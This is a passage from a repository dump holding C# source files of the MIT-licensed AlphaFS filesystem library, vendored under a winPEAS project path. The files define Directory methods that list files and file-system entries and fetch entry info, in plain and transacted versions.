for the specified directory.</summary>\n      /// <returns>A <see cref=\"ByHandleFileInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetFileInfoByHandleCore(transaction, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntries.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns the names of all files and subdirectories in the specified directory.</summary>\n      /// <returns>An string[] array of the names of files and subdirectories in the specified directory.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory for which file and subdirectory names are returned.</param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntries(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Returns an array of file system entries that match the specified search criteria.</summary>\n      /// <returns>An string[] array of file system entries that match the specified search criteria.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The path to be searched.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntries(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Gets an array of all the file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified path, and optionally searches subdirectories.</summary>\n      /// <returns>An string[] array of file system entries that match the specified search criteria.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntries(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntriesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns the names of all files and subdirectories in the specified directory.</summary>\n      /// <returns>An string[] array of the names of files and subdirectories in the specified directory.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which file and subdirectory names are returned.</param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Returns an array of file system entries that match the specified search criteria.</summary>\n      /// <returns>An string[] array of file system entries that match the specified search criteria.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to be searched.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Gets an array of all the file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified path, and optionally searches subdirectories.</summary>\n      /// <returns>An string[] array of file system entries that match the specified search criteria.</returns>\n      /// <remarks>\n      ///   <para>The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries,\n      ///     you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries,\n      ///     you must wait for the whole array of entries to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path)\n      {\n         return File.GetFileSystemEntryInfoCore(null, true, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, PathFormat pathFormat)\n      {\n         return File.GetFileSystemEntryInfoCore(null, true, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException)\n      {\n         return File.GetFileSystemEntryInfoCore(null, true, path, continueOnException, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException, PathFormat pathFormat)\n      {\n         return File.GetFileSystemEntryInfoCore(null, true, path, continueOnException, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntryInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetFileSystemEntryInfoCore(transaction, true, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetFileSystemEntryInfoCore(transaction, true, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException)\n      {\n         return File.GetFileSystemEntryInfoCore(transaction, true, path, continueOnException, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the <see cref=\"FileSystemEntryInfo\"/> of the directory on the path.</summary>\n      /// <returns>The <see cref=\"FileSystemEntryInfo\"/> instance of the directory.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      [SecurityCritical]\n      public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException, PathFormat pathFormat)\n      {\n         return File.GetFileSystemEntryInfoCore(transaction, true, path, continueOnException, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFiles.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Returns the names of files (including their paths) in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied <paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static string[] GetFiles(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Returns the names of files (including their paths) that match the specified search pattern in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory that match the specified search pattern, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied <paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFiles(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>Returns the names of files (including their paths) that match the specified search pattern in the current directory, and optionally searches subdirectories.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory that match the specified search pattern and option, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied <paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFiles(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFilesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns the names of files (including their paths) in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied <paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static string[] GetFilesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Returns the names of files (including their paths) that match the specified search pattern in the specified directory.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory that match the specified search pattern, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied 